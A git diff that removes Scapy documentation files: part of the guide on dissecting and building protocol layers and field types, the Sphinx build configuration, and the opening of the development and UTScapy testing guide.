- bind_layers(ProtoA, ProtoB, FieldToBind=Value)
-
-Each time a packet ``ProtoA()/ProtoB()`` will be created, the ``FieldToBind`` of
-``ProtoA`` will be equal to ``Value``.
-
-For instance, if you have a class ``HTTP``, you may expect that all the
-packets coming from or going to port 80 will be decoded as such. This
-is simply done that way::
-
- bind_layers( TCP, HTTP, sport=80 )
- bind_layers( TCP, HTTP, dport=80 )
-
-That's all folks! Now every packet related to port 80 will be
-associated to the layer ``HTTP``, whether it is read from a pcap file or
-received from the network.
-
-The ``guess_payload_class()`` way
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Sometimes, guessing the payload class is not as straightforward as
-defining a single port. For instance, it can depends on a value of a
-given byte in the current layer. The 2 needed methods are:
-
-- ``guess_payload_class()`` which must return the guessed class for the
- payload (next layer). By default, it uses links between classes
- that have been put in place by ``bind_layers()``.
-
-- ``default_payload_class()`` which returns the default value. This
- method defined in the class ``Packet`` returns ``Raw``, but it can be
- overloaded.
-
-For instance, decoding 802.11 changes depending on whether it is
-ciphered or not::
-
- class Dot11(Packet):
- def guess_payload_class(self, payload):
- if self.FCfield & 0x40:
- return Dot11WEP
- else:
- return Packet.guess_payload_class(self, payload)
-
-Several comments are needed here:
-
-- this cannot be done using ``bind_layers()`` because the tests are
- supposed to be "``field==value``", but it is more complicated here as we
- test a single bit in the value of a field.
-
-- if the test fails, no assumption is made, and we plug back to the
- default guessing mechanisms calling ``Packet.guess_payload_class()``
-
-Most of the time, defining a method ``guess_payload_class()`` is not a
-necessity as the same result can be obtained from ``bind_layers()``.
-
-Changing the default behavior
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-If you do not like Scapy's behavior for a given layer, you can either
-change or disable it through the call to ``split_layer()``. For instance,
-if you do not want UDP/53 to be bound with ``DNS``, just add in your code:
-``
-split_layers(UDP, DNS, sport=53)
-``
-Now every packet with source port 53 will not be handled as DNS, but
-whatever you specify instead.
-
-
-
-Under the hood: putting everything together
--------------------------------------------
-
-In fact, each layer has a field payload_guess. When you use the
-bind_layers() way, it adds the defined next layers to that list.
-
-::
-
- >>> p=TCP()
- >>> p.payload_guess
- [({'dport': 2000}, <class 'scapy.Skinny'>), ({'sport': 2000}, <class 'scapy.Skinny'>), ... )]
-
-Then, when it needs to guess the next layer class, it calls the
-default method ``Packet.guess_payload_class()``. This method runs through
-each element of the list payload_guess, each element being a
-tuple:
-
-- the 1st value is a field to test (``'dport': 2000``)
-- the 2nd value is the guessed class if it matches (``Skinny``)
-
-So, the default ``guess_payload_class()`` tries all element in the list,
-until one matches. If no element are found, it then calls
-``default_payload_class()``. If you have redefined this method, then yours
-is called, otherwise, the default one is called, and ``Raw`` type is
-returned.
-
-``Packet.guess_payload_class()``
-
-- test what is in field ``guess_payload``
-- call overloaded ``guess_payload_class()``
-
-
-Building
-========
-
-Building a packet is as simple as building each layer. Then, some
-magic happens to glue everything. Let's do magic then.
-
-The basic stuff
----------------
-
-First thing to establish: what does "build" mean? As we have seen, a
-layer can be represented in different ways (human, internal,
-machine). Building means going to the machine format.
-
-Second thing to understand is ''when'' a layer is built. Answer is not
-that obvious, but as soon as you need the machine representation, the
-layers are built: when the packet is dropped on the network or written
-to a file, when it is converted as a string, ... In fact, machine
-representation should be regarded as a big string with the layers
-appended altogether.
-
-::
-
- >>> p = IP()/TCP()
- >>> hexdump(p)
- 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|.....
- 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........
- 0020 50 02 20 00 91 7C 00 00 P. ..|..
-
-Calling ``raw()`` builds the packet:
- - non instanced fields are set to their default value
- - lengths are updated automatically
- - checksums are computed
- - and so on.
-
-In fact, using ``raw()`` rather than ``show2()`` or any other method
-is not a random choice as all the functions building the packet calls
-``Packet.__str__()`` (or ``Packet.__bytes__()`` under Python
-3). However, ``__str__()`` calls another method: ``build()``::
-
- def __str__(self):
- return next(iter(self)).build()
-
-What is important also to understand is that usually, you do not care
-about the machine representation, that is why the human and internal
-representations are here.
-
-So, the core method is ``build()`` (the code has been shortened to keep
-only the relevant parts)::
-
- def build(self,internal=0):
- pkt = self.do_build()
- pay = self.build_payload()
- p = self.post_build(pkt,pay)
- if not internal:
- pkt = self
- while pkt.haslayer(Padding):
- pkt = pkt.getlayer(Padding)
- p += pkt.load
- pkt = pkt.payload
- return p
-
-So, it starts by building the current layer, then the payload, and
-``post_build()`` is called to update some late evaluated fields (like
-checksums). Last, the padding is added to the end of the packet.
-
-Of course, building a layer is the same as building each of its
-fields, and that is exactly what ``do_build()`` does.
-
-Building fields
----------------
-
-The building of each field of a layer is called in ``Packet.do_build()``::
-
- def do_build(self):
- p=""
- for f in self.fields_desc:
- p = f.addfield(self, p, self.getfieldval(f))
- return p
-
-The core function to build a field is ``addfield()``. It takes the
-internal view of the field and put it at the end of ``p``. Usually, this
-method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where
-``val=self.getfieldval(f)``).
-
-If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the
-way it must be. For instance, if a byte is expected, ``struct.pack("B", val)``
-is the right way to convert it.
-
-However, things are more complicated if ``val`` is not set, it means no
-default value was provided earlier, and thus the field needs to
-compute some "stuff" right now or later.
-
-"Right now" means thanks to ``i2m()``, if all pieces of information is
-available. For instance, if you have to handle a length until a
-certain delimiter.
-
-Ex: counting the length until a delimiter
-
-::
-
- class XNumberField(FieldLenField):
-
- def __init__(self, name, default, sep="\r\n"):
- FieldLenField.__init__(self, name, default, fld)
- self.sep = sep
-
- def i2m(self, pkt, x):
- x = FieldLenField.i2m(self, pkt, x)
- return "%02x" % x
-
- def m2i(self, pkt, x):
- return int(x, 16)
-
- def addfield(self, pkt, s, val):
- return s+self.i2m(pkt, val)
-
- def getfield(self, pkt, s):
- sep = s.find(self.sep)
- return s[sep:], self.m2i(pkt, s[:sep])
-
-In this example, in ``i2m()``, if ``x`` has already a value, it is converted
-to its hexadecimal value. If no value is given, a length of "0" is
-returned.
-
-The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()``
-for each field in the layer, which in turn calls ``Field.i2m()``: the
-layer is built IF a value was available.
-
-
-Handling default values: ``post_build``
----------------------------------------
-
-A default value for a given field is sometimes either not known or
-impossible to compute when the fields are put together. For instance,
-if we used a ``XNumberField`` as defined previously in a layer, we expect
-it to be set to a given value when the packet is built. However,
-nothing is returned by ``i2m()`` if it is not set.
-
-The answer to this problem is ``Packet.post_build()``.
-
-When this method is called, the packet is already built, but some
-fields still need to be computed. This is typically what is required
-to compute checksums or lengths. In fact, this is required each time a
-field's value depends on something which is not in the current
-
-So, let us assume we have a packet with a ``XNumberField``, and have a
-look to its building process::
-
- class Foo(Packet):
- fields_desc = [
- ByteField("type", 0),
- XNumberField("len", None, "\r\n"),
- StrFixedLenField("sep", "\r\n", 2)
- ]
-
- def post_build(self, p, pay):
- if self.len is None and pay:
- l = len(pay)
- p = p[:1] + hex(l)[2:]+ p[2:]
- return p+pay
-
-When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload,
-that is what has already been built. We want our length to be the full
-length of the data put after the separator, so we add its computation
-in ``post_build()``.
-
-::
-
- >>> p = Foo()/("X"*32)
- >>> p.show2()
- ###[ Foo ]###
- type= 0
- len= 32
- sep= '\r\n'
- ###[ Raw ]###
- load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
-
-``len`` is correctly computed now::
-
- >>> hexdump(raw(p))
- 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX
- 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
- 0020 58 58 58 58 58 XXXXX
-
-And the machine representation is the expected one.
-
-
-Handling default values: automatic computation
-----------------------------------------------
-
-As we have previously seen, the dissection mechanism is built upon the
-links between the layers created by the programmer. However, it can
-also be used during the building process.
-
-In the layer ``Foo()``, our first byte is the type, which defines what
-comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer
-is ``Bar1``, and so on. We would like then this field to be set
-automatically according to what comes next.
-
-::
-
- class Bar1(Packet):
- fields_desc = [
- IntField("val", 0),
- ]
-
- class Bar2(Packet):
- fields_desc = [
- IPField("addr", "127.0.0.1")
- ]
-
-If we use these classes with nothing else, we will have trouble when
-dissecting the packets as nothing binds Foo layer with the multiple
-``Bar*`` even when we explicitly build the packet through the call to
-``show2()``::
-
- >>> p = Foo()/Bar1(val=1337)
- >>> p
- <Foo |<Bar1 val=1337 |>>
- >>> p.show2()
- ###[ Foo ]###
- type= 0
- len= 4
- sep= '\r\n'
- ###[ Raw ]###
- load= '\x00\x00\x059'
-
-Problems:
-
-1. ``type`` is still equal to 0 while we wanted it to be automatically
- set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)``
- but this is not very convenient.
-
-2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This
- is because no links have been set between ``Foo()`` and ``Bar*()``.
-
-In order to understand what we should have done to obtain the proper
-behavior, we must look at how the layers are assembled. When two
-independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are
-compounded with the '/' operator, it results in a new packet where the
-two previous instances are cloned (i.e. are now two distinct objects
-structurally different, but holding the same values)::
-
- def __div__(self, other):
- if isinstance(other, Packet):
- cloneA = self.copy()
- cloneB = other.copy()
- cloneA.add_payload(cloneB)
- return cloneA
- elif type(other) is str:
- return self/Raw(load=other)
-
-The right hand side of the operator becomes the payload of the left
-hand side. This is performed through the call to
-``add_payload()``. Finally, the new packet is returned.
-
-Note: we can observe that if other isn't a ``Packet`` but a string,
-the ``Raw`` class is instantiated to form the payload. Like in this
-example::
-
- >>> IP()/"AAAA"
- <IP |<Raw load='AAAA' |>>
-
-Well, what ``add_payload()`` should implement? Just a link between
-two packets? Not only, in our case this method will appropriately set
-the correct value to ``type``.
-
-Instinctively we feel that the upper layer (the right of '/') can
-gather the values to set the fields to the lower layer (the left of
-'/'). Like previously explained, there is a convenient mechanism to
-specify the bindings in both directions between two neighbouring
-layers.
-
-Once again, these information must be provided to ``bind_layers()``,
-which will internally call ``bind_top_down()`` in charge to
-aggregate the fields to overload. In our case what we needs to specify
-is::
-
- bind_layers( Foo, Bar1, {'type':1} )
- bind_layers( Foo, Bar2, {'type':2} )
-
-Then, ``add_payload()`` iterates over the ``overload_fields`` of
-the upper packet (the payload), get the fields associated to the lower
-packet (by its type) and insert them in ``overloaded_fields``.
-
-For now, when the value of this field will be requested,
-``getfieldval()`` will return the value inserted in
-``overloaded_fields``.
-
-The fields are dispatched between three dictionaries:
-
-- ``fields``: fields whose the value have been explicitly set, like
- ``pdst`` in TCP (``pdst='42'``)
-- ``overloaded_fields``: overloaded fields
-- ``default_fields``: all the fields with their default value (these fields
- are initialized according to ``fields_desc`` by the constructor
- by calling ``init_fields()`` ).
-
-In the following code we can observe how a field is selected and its
-value returned::
-
- def getfieldval(self, attr):
- for f in self.fields, self.overloaded_fields, self.default_fields:
- if f.has_key(attr):
- return f[attr]
- return self.payload.getfieldval(attr)
-
-Fields inserted in ``fields`` have the higher priority, then
-``overloaded_fields``, then finally ``default_fields``. Hence, if
-the field ``type`` is set in ``overloaded_fields``, its value will
-be returned instead of the value contained in ``default_fields``.
-
-
-We are now able to understand all the magic behind it!
-
-::
-
- >>> p = Foo()/Bar1(val=0x1337)
- >>> p
- <Foo type=1 |<Bar1 val=4919 |>>
- >>> p.show()
- ###[ Foo ]###
- type= 1
- len= 4
- sep= '\r\n'
- ###[ Bar1 ]###
- val= 4919
-
-Our 2 problems have been solved without us doing much: so good to be
-lazy :)
-
-Under the hood: putting everything together
--------------------------------------------
-
-Last but not least, it is very useful to understand when each function
-is called when a packet is built::
-
- >>> hexdump(raw(p))
- Packet.str=Foo
- Packet.iter=Foo
- Packet.iter=Bar1
- Packet.build=Foo
- Packet.build=Bar1
- Packet.post_build=Bar1
- Packet.post_build=Foo
-
-As you can see, it first runs through the list of each field, and then
-build them starting from the beginning. Once all layers have been
-built, it then calls ``post_build()`` starting from the end.
-
-
-Fields
-======
-
-.. index::
- single: fields
-
-Here's a list of fields that Scapy supports out of the box:
-
-Simple datatypes
-----------------
-
-Legend:
-
-- ``X`` - hexadecimal representation
-- ``LE`` - little endian (default is big endian = network byte order)
-- ``Signed`` - signed (default is unsigned)
-
-::
-
- ByteField
- XByteField
-
- ShortField
- SignedShortField
- LEShortField
- XShortField
-
- X3BytesField # three bytes (in hexad
-
- IntField
- SignedIntField
- LEIntField
- LESignedIntField
- XIntField
-
- LongField
- LELongField
- XLongField
- LELongField
-
- IEEEFloatField
- IEEEDoubleField
- BCDFloatField # binary coded decimal
-
- BitField
- XBitField
-
- BitFieldLenField # BitField specifying a length (used in RTP)
- FlagsField
- FloatField
-
-Enumerations
-------------
-
-Possible field values are taken from a given enumeration (list, dictionary, ...)
-e.g.::
-
- ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"})
-
-::
-
- EnumField(name, default, enum, fmt = "H")
- CharEnumField
- BitEnumField
- ShortEnumField
- LEShortEnumField
- ByteEnumField
- IntEnumField
- SignedIntEnumField
- LEIntEnumField
- XShortEnumField
-
-Strings
--------
-
-::
-
- StrField(name, default, fmt="H", remain=0, shift=0)
- StrLenField(name, default, fld=None, length_from=None, shift=0):
- StrFixedLenField
- StrNullField
- StrStopField
-
-Lists and lengths
------------------
-
-::
-
- FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None)
- # A list assembled and dissected with many times the same field type
-
- # field: instance of the field that will be used to assemble and disassemble a list item
- # length_from: name of the FieldLenField holding the list length
-
- FieldLenField # holds the list length of a FieldList field
- LEFieldLenField
-
- LenField # contains len(pkt.payload)
-
- PacketField # holds packets
- PacketLenField # used e.g. in ISAKMP_payload_Proposal
- PacketListField
-
-
-Variable length fields
-^^^^^^^^^^^^^^^^^^^^^^
-
-This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value.
-
-Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words.
-
-
-The length field
-~~~~~~~~~~~~~~~~
-
-First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing::
-
- adjust=lambda pkt,x: x
-
-For instance, if ``the_varfield`` is a list
-
-::
-
- FieldLenField("the_lenfield", None, count_of="the_varfield")
-
-or if the length is in 16bits words::
-
- FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2)
-
-The variable length field
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ...
-
-For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance::
-
- StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield)
-
-or
-
-::
-
- StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12)
-
-For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance::
-
- FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield)
-
-Examples
-^^^^^^^^
-
-::
-
- class TestSLF(Packet):
- fields_desc=[ FieldLenField("len", None, length_of="data"),
- StrLenField("data", "", length_from=lambda pkt:pkt.len) ]
-
- class TestPLF(Packet):
- fields_desc=[ FieldLenField("len", None, count_of="plist"),
- PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]
-
- class TestFLF(Packet):
- fields_desc=[
- FieldLenField("the_lenfield", None, count_of="the_varfield"),
- FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"),
- count_from = lambda pkt: pkt.the_lenfield) ]
-
- class TestPkt(Packet):
- fields_desc = [ ByteField("f1",65),
- ShortField("f2",0x4244) ]
- def extract_padding(self, p):
- return "", p
-
- class TestPLF2(Packet):
- fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2),
- FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2),
- PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ]
-
-Test the ``FieldListField`` class::
-
- >>> TestFLF("\x00\x02ABCDEFGHIJKL")
- <TestFLF the_lenfield=2 the_varfield=['65.66.67.68', '69.70.71.72'] |<Raw load='IJKL' |>>
-
-
-Special
--------
-
-::
-
- Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")),
-
- ActionField
-
- ConditionalField(fld, cond)
- # Wrapper to make field 'fld' only appear if
- # function 'cond' evals to True, e.g.
- # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1)
-
-
- PadField(fld, align, padwith=None)
- # Add bytes after the proxified field so that it ends at
- # the specified alignment from its beginning
-
-TCP/IP
-------
-
-::
-
- IPField
- SourceIPField
-
- IPoptionsField
- TCPOptionsField
-
- MACField
- DestMACField(MACField)
- SourceMACField(MACField)
- ARPSourceMACField(MACField)
-
- ICMPTimeStampField
-
-802.11
-------
-
-::
-
- Dot11AddrMACField
- Dot11Addr2MACField
- Dot11Addr3MACField
- Dot11Addr4MACField
- Dot11SCField
-
-DNS
----
-
-::
-
- DNSStrField
- DNSRRCountField
- DNSRRField
- DNSQRField
- RDataField
- RDLenField
-
-ASN.1
------
-
-::
-
- ASN1F_element
- ASN1F_field
- ASN1F_INTEGER
- ASN1F_enum_INTEGER
- ASN1F_STRING
- ASN1F_OID
- ASN1F_SEQUENCE
- ASN1F_SEQUENCE_OF
- ASN1F_PACKET
- ASN1F_CHOICE
-
-Other protocols
----------------
-
-::
-
- NetBIOSNameField # NetBIOS (StrFixedLenField)
-
- ISAKMPTransformSetField # ISAKMP (StrLenField)
-
- TimeStampField # NTP (BitField)
-
-
-Design patterns
-===============
-Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy.
-
-The following parts will present several models and conventions that can be followed when implementing a new protocol.
-
-Field naming convention
------------------------
-The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following :
-
-* Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp).
-* Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets.
diff --git a/doc/scapy/conf.py b/doc/scapy/conf.py
deleted file mode 100644
index 70ff4a1d..00000000
--- a/doc/scapy/conf.py
+++ /dev/null
@@ -1,197 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Scapy documentation build configuration file.
-#
-# This file is execfile()d with the current directory set to its containing dir.
-#
-# The contents of this file are pickled, so don't put values in the namespace
-# that aren't pickleable (module imports are okay, they're removed automatically).
-#
-# All configuration values have a default value; values that are commented out
-# serve to show the default value.
-
-import sys, os
-
-# If your extensions are in another directory, add it here. If the directory
-# is relative to the documentation root, use os.path.abspath to make it
-# absolute, like shown here.
-#sys.path.append(os.path.abspath('some/directory'))
-
-# General configuration
-# ---------------------
-
-# Add any Sphinx extension module names here, as strings. They can be extensions
-# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
-extensions = []
-
-# Add any paths that contain templates here, relative to this directory.
-templates_path = ['_templates']
-
-# The suffix of source filenames.
-source_suffix = '.rst'
-
-# The master toctree document.
-master_doc = 'index'
-
-# General substitutions.
-project = 'Scapy'
-copyright = '2008, 2018 Philippe Biondi and the Scapy community'
-
-# The default replacements for |version| and |release|, also used in various
-# other places throughout the built documents.
-#
-# The short X.Y version.
-version = '2.3.3'
-# The full version, including alpha/beta/rc tags.
-release = '2.3.3-dev'
-
-# There are two options for replacing |today|: either, you set today to some
-# non-false value, then it is used:
-#today = ''
-# Else, today_fmt is used as the format for a strftime call.
-today_fmt = '%B %d, %Y'
-
-# List of documents that shouldn't be included in the build.
-#unused_docs = []
-
-# List of directories, relative to source directories, that shouldn't be searched
-# for source files.
-#exclude_dirs = []
-
-# The reST default role (used for this markup: `text`) to use for all documents.
-#default_role = None
-
-# If true, '()' will be appended to :func: etc. cross-reference text.
-#add_function_parentheses = True
-
-# If true, the current module name will be prepended to all description
-# unit titles (such as .. function::).
-#add_module_names = True
-
-# If true, sectionauthor and moduleauthor directives will be shown in the
-# output. They are ignored by default.
-#show_authors = False
-
-# The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'sphinx'
-
-
-# Options for HTML output
-# -----------------------
-
-# Auto detect sphinx rtd. If set to True, if sphinx rtd is installed, it will be
-# automatically used.
-auto_rtd = True
-
-# The style sheet to use for HTML and HTML Help pages. A file of that name
-# must exist either in Sphinx' static/ path, or in one of the custom paths
-# given in html_static_path.
-html_style = 'default.css'
-
-# The name for this set of Sphinx documents. If None, it defaults to
-# "<project> v<release> documentation".
-#html_title = None
-
-# A shorter title for the navigation bar. Default is the same as html_title.
-#html_short_title = None
-
-# The name of an image file (within the static path) to place at the top of
-# the sidebar.
-#html_logo = None
-
-# The name of an image file (within the static path) to use as favicon of the
-# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
-# pixels large.
-#html_favicon = None
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
-
-# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
-# using the given strftime format.
-html_last_updated_fmt = '%b %d, %Y'
-
-# If true, SmartyPants will be used to convert quotes and dashes to
-# typographically correct entities.
-#html_use_smartypants = True
-
-# Custom sidebar templates, maps document names to template names.
-#html_sidebars = {}
-
-# Additional templates that should be rendered to pages, maps page names to
-# template names.
-#html_additional_pages = {}
-
-# If false, no module index is generated.
-html_use_modindex = False
-
-# If false, no index is generated.
-#html_use_index = True
-
-# If true, the index is split into individual pages for each letter.
-#html_split_index = False
-
-# If true, the reST sources are included in the HTML build as _sources/<name>.
-#html_copy_source = True
-
-# If true, an OpenSearch description file will be output, and all pages will
-# contain a <link> tag referring to it. The value of this option must be the
-# base URL from which the finished HTML is served.
-#html_use_opensearch = ''
-
-# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
-#html_file_suffix = ''
-
-# Output file base name for HTML help builder.
-htmlhelp_basename = 'Scapydoc'
-
-
-# Options for LaTeX output
-# ------------------------
-
-# The paper size ('letter' or 'a4').
-latex_paper_size = 'a4'
-
-# The font size ('10pt', '11pt' or '12pt').
-latex_font_size = '11pt'
-
-# Grouping the document tree into LaTeX files. List of tuples
-# (source start file, target name, title, author, document class [howto/manual]).
-latex_documents = [
- ('index', 'Scapy.tex', 'Scapy Documentation',
- 'Philippe Biondi and the Scapy community', 'manual'),
-]
-
-# The name of an image file (relative to this directory) to place at the top of
-# the title page.
-#latex_logo = None
-
-# For "manual" documents, if this is true, then toplevel headings are parts,
-# not chapters.
-#latex_use_parts = False
-
-# Additional stuff for the LaTeX preamble.
-#latex_preamble = ''
-
-# Documents to append as an appendix to all manuals.
-#latex_appendices = []
-
-# If false, no module index is generated.
-latex_use_modindex = False
-
-#############################################
-######## END OF CONFIG FILE ########
-######## DO NOT EDIT BELOW THIS LINE ########
-#############################################
-
-### Performing detect tasks ###
-if auto_rtd:
- try:
- import sphinx_rtd_theme
- del html_style
- html_theme = "sphinx_rtd_theme"
- html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
- except:
- pass
diff --git a/doc/scapy/development.rst b/doc/scapy/development.rst
deleted file mode 100644
index c26e0b97..00000000
--- a/doc/scapy/development.rst
+++ /dev/null
@@ -1,244 +0,0 @@
-*****************
-Scapy development
-*****************
-
-Project organization
-====================
-
-Scapy development uses the Git version control system. Scapy's
-reference repository is at https://github.com/secdev/scapy/.
-
-Project management is done with `Github
-<https://github.com/secdev/scapy/>`_. It provides a freely editable
-`Wiki <https://github.com/secdev/scapy/wiki/>`_ (please contribute!)
-that can reference tickets, changesets, files from the project. It
-also provides a ticket management service that is used to avoid
-forgetting patches or bugs.
-
-How to contribute
-=================
-
-* Found a bug in Scapy? `Add a ticket <https://github.com/secdev/scapy/issues/new>`_.
-* Improve this documentation.
-* Program a new layer and share it on the mailing list, or create a pull request.
-* Contribute new `regression tests <https://github.com/secdev/scapy/wiki/Contrib:-RegressionTests>`_.
-* Upload packet samples for new protocols on the `packet samples page
- <https://github.com/secdev/scapy/wiki/Contrib:-PacketSamples>`_.
-
-
-Improve the documentation
-=========================
-
-The documentation can be improved in several ways by:
-
-* Adding docstrings to the source code.
-* Adding usage examples to the documentation.
-
-Adding Docstrings
------------------
-The Scapy source code have few explanations of what a function is doing. A docstring, by adding explanation and
-expected input and output parameters, helps saving time for both the layer developers and the users looking for
-advanced features.
-
-An example of docstring from the ``scapy.fields.FlagsField`` class: ::
-
- class FlagsField(BitField):
- """ Handle Flag type field
-
- Make sure all your flags have a label
-
- Example:
- >>> from scapy.packet import Packet
- >>> class FlagsTest(Packet):
- fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])]
- >>> FlagsTest(flags=9).show2()
- ###[ FlagsTest ]###
- flags = f0+f3
- >>> FlagsTest(flags=0).show2().strip()
- ###[ FlagsTest ]###
- flags =
-
- :param name: field's name
- :param default: default value for the field
- :param size: number of bits in the field
- :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first
- """
-
-It will contain a short oneline description of the class followed by some indications about its usage.
-You can add a usage example if it makes sense using the `doctest <https://docs.python.org/2.7/library/doctest.html>`_ format.
-Finally the classic python signature can be added following the `sphinx documentation <http://www.sphinx-doc.org/en/stable/domains.html#python-signatures>`_.
-
-This task works in pair with writing non regression unit tests.
-
-Documentation
--------------
-A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations.
-
-Testing with UTScapy
-====================
-
-What is UTScapy?
-----------------
-
-UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX.
-
-Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping.
-
-For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file.
-
-Syntax of a Test Campaign
--------------------------
-
-Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued.
-
-================ =================
-Syntax Specifier Definition
-================ =================
-‘%’ Give the test campaign's name.
-‘+’ Announce a new test set.
-‘=’ Announce a new unit test.
-‘~’ Announce keywords for the current unit test.
-‘*’ Denotes a comment that will be included in the report.
-‘#’ Testcase annotations that are discarded by the interpreter.
-================ =================
-
-Table 1 - UTScapy Syntax Specifiers
-
-Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test.
-
-The generic format for a test campaign is shown in the following table::
-
- % Test Campaign Name
- * Comment describing this campaign
-
-
- + Test Set 1
- * comments for test set 1
-
- = Unit Test 1
- ~ keywords
- * Comments for unit test 1
- # Python statements follow
- a = 1
- print a
- a == 1
-
-
-Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well.
-
